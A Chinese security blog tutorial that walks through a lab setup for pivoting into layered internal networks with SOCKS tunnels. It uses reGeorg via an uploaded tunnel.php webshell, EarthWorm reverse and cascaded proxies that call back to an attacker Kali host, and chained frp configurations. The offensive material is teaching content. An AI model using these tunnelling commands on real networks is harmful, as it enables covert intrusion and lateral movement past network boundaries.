欢迎关注我的微信公众号《壳中之魂》,查看更多网安文章
SOCKS是一种代理服务,可以简单地将一端的系统连接另一 端。 SOCKS支持多种协议,包括HTTP、FTP等。SOCKS分为SOCKS 4和SOCKS 5两种类型: SOCKS 4只支持TCP协议;SOCKS5不仅支持TCP/UDP协议,还支持各种身份验证机制等,其标准端口为1080.SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。
SOCKS代理其实可理解为增强版的lcx。它在服务端监听一个服务 端口,当有新的连接请求出现时,会先从SOCKS协议中解析出目标的URL的目标端口,再执行lcx的具体功能。SOCKS代理工具有很多,在使用时要尽可能选择没有GUI界面的。此外,要尽量选择不需要安装其他依赖软件的SOCKS代理工具,能够支持多平台的工具更佳。
Proxifier
Proxifier 也是一款非常好用的全局代理软件
下载地址:https://www.proxifier.com/
Proxifer提供了跨平台的端口转发和代理功能,适用于Windows、Linux、MacOS平台SocksCap64可以使Windows应用程序通过sOCKS代理服务器来访问网络,而不需要对这些应用程序进行任何修改。即使是那些本身不支持SOCKS代理的应用程序,也可以通过SocksCap64实现代理
ProxyChains
ProxyChains是款可以在Linux下实现全局代理的软件,性能稳定、可靠,可以使任何程序通过代理上网,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS 4、SOCKS 5类型的代理服务器
下载地址:http://proxychains.sourceforge.net/
reGcorg是reDuh的升级版,主要功能是把内网服务器的端口通过HTTP/HTTPS隧道转发到本机,形成一个回路。
reGorg可以使目标服务器在内网中(或者在设置了端口策略的情况下)连接内部开放端口。reGcorg利用WebShell建立一个SOCKS代理进行内网穿透,服务器必须支持ASPX、PHP、JSP中的一种。
reGeorg分为reGeorgSocksProxy.py本体和隧道tunnel.php,其中本体用在攻击机,而隧道用在目标机器
环境:
攻击机:
kali(ip:192.168.200.4)
win7(ip:192.168.200.17)
边缘设备:
win7(ip1:192.168.200.33,ip2:10.10.10.17)
内网主机:
windows server 2016(DC)(ip:10.10.10.10)
在边缘设备用phpstudy架设了服务器,并且已经将tunnel.php上传到网站根目录,此时,使用kali访问tunnel.php,查看是否可行
注意:tunnel.php似乎只支持低版本php,高版本似乎无法运行
php版本:7.3.4
php版本:5.2.17
当出现Georg says, 'All seems fine'说明成功配置
在kali配置本体reGeorgSocksProxy.py(似乎需要urllib3,可能是我已经装了,并没有报错)
python reGeorgSocksProxy.py -l 0.0.0.0 -p 1111 -u http://192.168.200.33/tunnel.php
出现红框内的Georg says, 'All seems fine'说明配置成功
如果允许脚本时出现权限不够则要在属性内配置可执行权限(chmod +x也行)
然后再win7攻击机尝试连接代理,我使用的是Proxifier,它在测试连接可用性的时候会访问百度,我们再kali可以查看到访问页面的结果
也可以直接在kali上使用proxychains远程连接win7的桌面
proxychains rdesktop -g 1440x900 10.10.10.17:3389 //-g后面代表要使用的分辨率
但是我这里两种方法连接远程桌面都失败了,但是代理中一直有流量流过,所以理论上是可行的
EarthWom(EW)是套便携式的网络工具, 具有SOCKS 5服务架设和端口转发两大核心功能,可以在复杂的网络环境中实现网络穿透
下载地址:https://github.com/rootkiter/EarthWorm
EW能够以正向、反向、多级级联等方式建立网络隧道。EW工具包提供了多个可执行文件,以适用不同的操作系统(Linux、Windows、 Mac OS、ARM-Linux 均包含在内)。
EW的新版本Termite
下载地址:https://github.com/rootkiter/Termite
EW的使用也非常简单,共有六种命令格式,分别是ssocksd、rcsocks、rssocks、Icx_slave、lcx_listen、lcx_tran。其中,用于普通网络环境的正向连接命令是ssocksd,用于反弹连接的命令是rcsocks、rssocks,其他命令用于复杂网络环境的多级级联。
-l 本地要监听的端口
-f 要主动连接的ip
-g 要主动连接的端口
-d 要反弹到的ip
-e 要反弹到的端口
-s 工作模式
工作模式支持如下:
lcx_tran 正向tcp端口转发,监听在本地
lcx_slave 反向tcp转发客户端
lcx_listen 反向tcp服务端
ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去
rssocks 创建反向socks代理服务端?
rcsocks 反向socks代理客户端?
攻击机:
kali(ip:192.168.200.4)
win7(ip:192.168.200.17)
边缘主机:
windows server 2008(外网ip:192.168.200.32,内网ip:10.10.10.18)
内网主机:
windows server 2012(内网ip1:10.10.10.12,内网ip2:10.10.20.12)
windows 7(内网ip1:10.10.20.17,内网ip2:10.10.30.17)
windows 10(内网ip:10.10.30.110)
假设所有主机都已经拿到控制权
在目标机器假设一个socks5通道
ew_for_Win.exe -s ssocksd -l 6666
在攻击机上测试代理
成功
成功远程连接到2008的内网ip
在攻击机kali设置监听,将6000端口收到的代理请求转发到7000
./ew_for_linux64 -s rcsocks -l 6000 -e 7000
然后让目标机器连接到kali
ew_for_Win.exe -s rssocks -d 192.168.200.4 -e 7000
使用攻击机win7进行测试
尝试远程连接2008的内网ip
成功
1、从外网访问一级内网
首先在kali假设服务端
./ew_for_linux64 -s rcsocks -l 1111 -e 2222
由于这台机器只是做转发而不是目标,所以既要让处于一级内网的2008连接kali,也要让2008连接到下一台机器
ew_for_Win.exe -s lcx_slave -d 192.168.200.4 -e 2222 -f 10.10.10.12 -g 3333
2、从一级内网访问二级内网
让处于二级内网的2012访问2008,由于刚才2008的命令已经包含了连接到2012的功能,所以2012只需要做端口转发即可
ew_for_Win.exe -s lcx_listen -l 3333 -e 4444
3、从二级内网访问三级内网
当2012做端口转发后,就可以使用windows 7连接2012了
ew_for_Win.exe -s rssocks -d 10.10.20.12 -e 4444
然后在攻击机win7上测试是否能远程连接到三级内网
连接10.10.30.110成功
SocksCap64使用方法之使用SocksCap64代理Steam、LOL等游戏的教程_网络通讯_软件教程_脚本之家 (jb51.net)
Ubuntu系统中使用ProxyChains设置网络代理 - 简书 (jianshu.com)(要将proxychains.conf中的dynamic_chain前面的#去掉
frp 是⼀个开源、简洁易⽤、⾼性能的内⽹穿透和反向代理软件,⽀持 tcp, udp, http, https等协议。
frp 项⽬官⽹: https://github.com/fatedier/frp
frp ⽂档: https://gofrp.org/docs/
frp主要由客户端(frpc)和服务端(frps)组成,服务端通常部署在具有公网IP的机器上,客户端通常部署在需要穿透的内网服务所在机器上。内网服务由于没有公网IP,不能被非局域网内的其他用户访问。用户通过访问服务端的frps,由frp负责根据请求的端口或其他信息将请求路由到对应的内网机器,从而实现通信。
Frp完整的服务器端配置⽂件(可参考修改)
# [common] 是必需的
[common]
# ipv6的⽂本地址或主机名必须括在⽅括号中
# 如"[::1]:80", "[ipv6-host]:http" 或 "[ipv6-host%zone]:80"
bind_addr = 0.0.0.0
bind_port = 7000
# udp nat 穿透端⼝
bind_udp_port = 7001
# ⽤于 kcp 协议 的 udp 端⼝,可以与 "bind_port" 相同
# 如果此项不配置, 服务端的 kcp 将不会启⽤
kcp_bind_port = 7000
# 指定代理将侦听哪个地址,默认值与 bind_addr 相同
# proxy_bind_addr = 127.0.0.1
# 如果要⽀持虚拟主机,必须设置⽤于侦听的 http 端⼝(⾮必需项)
# 提示: http端⼝和https端⼝可以与 bind_port 相同
vhost_http_port = 80
vhost_https_port = 443
# 虚拟 http 服务器的响应头超时时间(秒),默认值为60s
# vhost_http_timeout = 60
# 设置 dashboard_addr 和 dashboard_port ⽤于查看 frps 仪表盘
# dashboard_addr 默认值与 bind_addr 相同
# 只有 dashboard_port 被设定,仪表盘才能⽣效
dashboard_addr = 0.0.0.0
dashboard_port = 7500
# 设置仪表盘⽤户密码,⽤于基础认证保护,默认为 admin/admin
dashboard_user = admin
dashboard_pwd = admin
# 仪表板资产⽬录(仅⽤于 debug 模式下)
# assets_dir = ./static
# 控制台或真实⽇志⽂件路径,如./frps.log
log_file = ./frps.log
# ⽇志级别,分为trace(跟踪)、 debug(调试)、 info(信息)、 warn(警告)、 error(错误)
log_level = info
# 最⼤⽇志记录天数
log_max_days = 3
# 认证 token
token = 12345678
# ⼼跳配置, 不建议对默认值进⾏修改
# heartbeat_timeout 默认值为 90
# heartbeat_timeout = 90
# 允许 frpc(客户端) 绑定的端⼝,不设置的情况下没有限制
allow_ports = 2000-3000,3001,3003,4000-50000
# 如果超过最⼤值,每个代理中的 pool_count 将更改为 max_pool_count
max_pool_count = 5
# 每个客户端可以使⽤最⼤端⼝数,默认值为0,表示没有限制
max_ports_per_client = 0
# 如果 subdomain_host 不为空, 可以在客户端配置⽂件中设置 ⼦域名类型为 http 还是 https
# 当⼦域名为 test 时, ⽤于路由的主机为 test.frps.com
subdomain_host = frps.com
# 是否使⽤ tcp 流多路复⽤,默认值为 true
tcp_mux = true
# 对 http 请求设置⾃定义 404 ⻚⾯
# custom_404_page = /path/to/404.html
server_addr = 102.224.185.237 #代理服务器的IP
server_port = 7000 #服务端服务器设置frps.ini中的端口
token = asd #服务端服务器设置frps.ini中的密码
[web] #服务器名(可以填写ssh、ftp等)
type = tcp #连接协议类型
local_ip = 127.0.0.1 #访问的ip可以是内网任何一个ip!
local_port = 80 #本地端口(根据协议修改)
remote_port = 6001 #远程服务器的ip端口
Frp 完整的客户端配置⽂件(可参考修改)
# [common] 是必需的
[common]
# ipv6的⽂本地址或主机名必须括在⽅括号中
# 如"[::1]:80", "[ipv6-host]:http" 或 "[ipv6-host%zone]:80"
server_addr = 0.0.0.0
server_port = 7000
# 如果要通过 http 代理或 socks5 代理连接 frps,可以在此处或全局代理中设置 http_proxy
# 只⽀持 tcp协议
# http_proxy = http://user:passwd@192.168.1.128:8080
# http_proxy = socks5://user:passwd@192.168.1.128:1080
# 控制台或真实⽇志⽂件路径,如./frps.log
log_file = ./frpc.log
# ⽇志级别,分为trace(跟踪)、 debug(调试)、 info(信息)、 warn(警告)、 error(错误)
log_level = info
# 最⼤⽇志记录天数
log_max_days = 3
# 认证 token
token = 12345678
# 设置能够通过 http api 控制客户端操作的管理地址
admin_addr = 127.0.0.1
admin_port = 7400
admin_user = admin
admin_pwd = admin
# 将提前建⽴连接,默认值为 0
pool_count = 5
# 是否使⽤ tcp 流多路复⽤,默认值为 true,必需与服务端相同
tcp_mux = true
# 在此处设置⽤户名后,代理名称将设置为 {⽤户名}.{代理名}
user = your_name
# 决定第⼀次登录失败时是否退出程序,否则继续重新登录到 frps
# 默认为 true
login_fail_exit = true
# ⽤于连接到服务器的通信协议
# ⽬前⽀持 tcp/kcp/websocket, 默认 tcp
protocol = tcp
# 如果 tls_enable 为 true, frpc 将会通过 tls 连接 frps
tls_enable = true
# 指定 DNS 服务器
# dns_server = 8.8.8.8
# 代理名, 使⽤ ',' 分隔
# 默认为空, 表示全部代理
# start = ssh,dns
# ⼼跳配置, 不建议对默认值进⾏修改
# heartbeat_interval 默认为 10 heartbeat_timeout 默认为 90
# heartbeat_interval = 30
# heartbeat_timeout = 90
# 'ssh' 是⼀个特殊代理名称
[ssh]
# 协议 tcp | udp | http | https | stcp | xtcp, 默认 tcp
type = tcp
local_ip = 127.0.0.1
local_port = 22
# 是否加密, 默认为 false
use_encryption = false
# 是否压缩
use_compression = false
# 服务端端⼝
remote_port = 6001
# frps 将为同⼀组中的代理进⾏负载平衡连接
group = test_group
# 组应该有相同的组密钥
group_key = 123456
# 为后端服务开启健康检查, ⽬前⽀持 'tcp' 和 'http'
# frpc 将连接本地服务的端⼝以检测其健康状态
health_check_type = tcp
# 健康检查连接超时
health_check_timeout_s = 3
# 连续 3 次失败, 代理将会从服务端中被移除
health_check_max_failed = 3
# 健康检查时间间隔
health_check_interval_s = 10
[ssh_random]
type = tcp
local_ip = 127.0.0.1
local_port = 22
# 如果 remote_port 为 0 ,frps 将为您分配⼀个随机端⼝
remote_port = 0
# 如果要暴露多个端⼝, 在区块名称前添加 'range:' 前缀
# frpc 将会⽣成多个代理,如 'tcp_port_6010', 'tcp_port_6011'
[range:tcp_port]
type = tcp
local_ip = 127.0.0.1
local_port = 6010-6020,6022,6024-6028
remote_port = 6010-6020,6022,6024-6028
use_encryption = false
use_compression = false
[dns]
type = udp
local_ip = 114.114.114.114
local_port = 53
remote_port = 6002
use_encryption = false
use_compression = false
[range:udp_port]
type = udp
local_ip = 127.0.0.1
local_port = 6010-6020
remote_port = 6010-6020
use_encryption = false
use_compression = false
# 将域名解析到 [server_addr] 可以使⽤ http://web01.yourdomain.com 访问 web01
[web01]
type = http
local_ip = 127.0.0.1
local_port = 80
use_encryption = false
use_compression = true
# http 协议认证
http_user = admin
http_pwd = admin
# 如果服务端域名为 frps.com, 可以通过 http://test.frps.com 来访问 [web01]
subdomain = web01
custom_domains = web02.yourdomain.com
# locations 仅可⽤于HTTP类型
locations = /,/pic
host_header_rewrite = example.com
# params with prefix "header_" will be used to update http request headers
header_X-From-Where = frp
health_check_type = http
# frpc 将会发送⼀个 GET http 请求 '/status' 来定位http服务
# http 服务返回 2xx 状态码时即为存活
health_check_url = /status
health_check_interval_s = 10
health_check_max_failed = 3
health_check_timeout_s = 3
[web02]
type = https
local_ip = 127.0.0.1
local_port = 8000
use_encryption = false
use_compression = false
subdomain = web01
custom_domains = web02.yourdomain.com
# v1 或 v2 或 空
proxy_protocol_version = v2
[plugin_unix_domain_socket]
type = tcp
remote_port = 6003
plugin = unix_domain_socket
plugin_unix_path = /var/run/docker.sock
[plugin_http_proxy]
type = tcp
remote_port = 6004
plugin = http_proxy
plugin_http_user = abc
plugin_http_passwd = abc
[plugin_socks5]
type = tcp
remote_port = 6005
plugin = socks5
plugin_user = abc
plugin_passwd = abc
[plugin_static_file]
type = tcp
remote_port = 6006
plugin = static_file
plugin_local_path = /var/www/blog
plugin_strip_prefix = static
plugin_http_user = abc
plugin_http_passwd = abc
[plugin_https2http]
type = https
custom_domains = test.yourdomain.com
plugin = https2http
plugin_local_addr = 127.0.0.1:80
plugin_crt_path = ./server.crt
plugin_key_path = ./server.key
plugin_host_header_rewrite = 127.0.0.1
[secret_tcp]
# 如果类型为 secret tcp, remote_port 将失效
type = stcp
# sk ⽤来进⾏访客认证
sk = abcdefg
local_ip = 127.0.0.1
local_port = 22
use_encryption = false
use_compression = false
# 访客端及服务端的⽤户名应该相同
[secret_tcp_visitor]
# frpc role visitor -> frps -> frpc role server
role = visitor
type = stcp
# 要访问的服务器名称
server_name = secret_tcp
sk = abcdefg
# 将此地址连接到访客 stcp 服务器
bind_addr = 127.0.0.1
bind_port = 9000
use_encryption = false
use_compression = false
[p2p_tcp]
type = xtcp
sk = abcdefg
local_ip = 127.0.0.1
local_port = 22
use_encryption = false
use_compression = false
[p2p_tcp_visitor]
role = visitor
type = xtcp
server_name = p2p_tcp
sk = abcdefg
bind_addr = 127.0.0.1
bind_port = 9001
use_encryption = false
use_compression = false
使用frp要编辑配置文件,以内网主机为服务端,kali为客户端,反向链接
首先按先配置服务端
[common]
bind_port = 7000
配置完成后启动
./frps -c frps.ini
同理,要配置在kali上的客户端
[common]
server_addr = 192.168.137.174 //frps的ip
server_port = 7000 //对应的端口
[plugin_socks5] //这个是额外加的,用于创建一个socks5的通道,可以给其他主机连接
type = tcp
remote_port = 6000
plugin = socks5
如果攻击机填写了token,那么在客户端也要填写token
frpc.exe -c frpc.ini
显示如下内容则说明建立成功
如果连接失败则显示如下内容
再回头看服务端
可以看到同时开了一个Sock5通道,使用其他攻击机进行连接
我使用Proxifier来进行连接,Proxifier资源在网上很好找,我就不放下载链接了
然后点击检查,查看是否连接成功
不过这种检查是通过和和百度测试连通性,在内网内不一定可以成功,这时就要针对性的调整设置
攻击机:
kali(ip:192.168.200.4)
win7(ip:192.168.200.17)
边缘主机:
windows server 2008(外网ip:192.168.200.32,内网ip:10.10.10.18)
内网主机:
windows server 2012(内网ip1:10.10.10.12,内网ip2:10.10.20.12)
windows 7(内网ip1:10.10.20.17,内网ip2:10.10.30.17)
windows 10(内网ip:10.10.30.110)
假设所有主机都已经拿到控制权
1、代理边缘主机到一级内网
首先在kali攻击机架设frps
bind_addr = 192.168.200.4
bind_port = 7000
然后让边缘主机2008连接
frpc
[common]
server_addr = 192.168.200.4
server_port = 7000
[plugin_socks]
type = tcp
local_ip = 10.10.10.18
local_port = 6000
remote_port = 6000
frps
2、代理一级到二级内网
当2008连接到kali后,自己也架设一个服务端
frps
[common]
bind_addr = 10.10.10.18
bind_port = 7000
然后让2012连接2008
frpc
[common]
server_addr = 10.10.10.18
server_port = 7000
[plugin_socks]
type = tcp
local_ip = 10.10.20.12
local_port = 6000
remote_port = 6000
frps
3、代理二级到三级内网
当2012连接2008后,2012也假设一个服务端
[common]
bind_addr = 10.10.20.12
bind_port = 7000
让windows 7连接
frpc
[common]
server_addr = 10.10.20.12
server_port = 7000
[plugin_socks]
type = tcp
local_ip = 10.10.30.17
local_port = 6000
remote_port = 6000
plugin = socks5
注意这里windows 7的frpc配置和其他不一样的点,这里多了一条
plugin = socks5
这一条很关键,后面我会说为什么
frps
最后测试是否到达了三级内网,使用win7攻击机的Proxifier测试远程连接
首先测试位于三级内网的win10
测试成功
测试同样位于三层内网的windows 7(10.10.30.17)同样成功
测试位于二层内网的windows 7(10.10.20.17、window server 2012(10.10.20.12)
同样成功
问题来了,测试10.10.10.x是失败的,经过我的多次实验,发现问题出在我上文所说的
plugin = socks5
我们在windows 7的frpc配置文件使用了这个属性,而他的ip为10.10.20.x和10.10.30.x,所以这个代理是无法直接远程连接到10.10.10.x的,如过在2008或者是2012使用了这个属性,就会导致无法连接10.10.30.x
说人话就为plugin = socks5这个属性只能同时存在一个,如果存在多个就以最先代理的为准
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。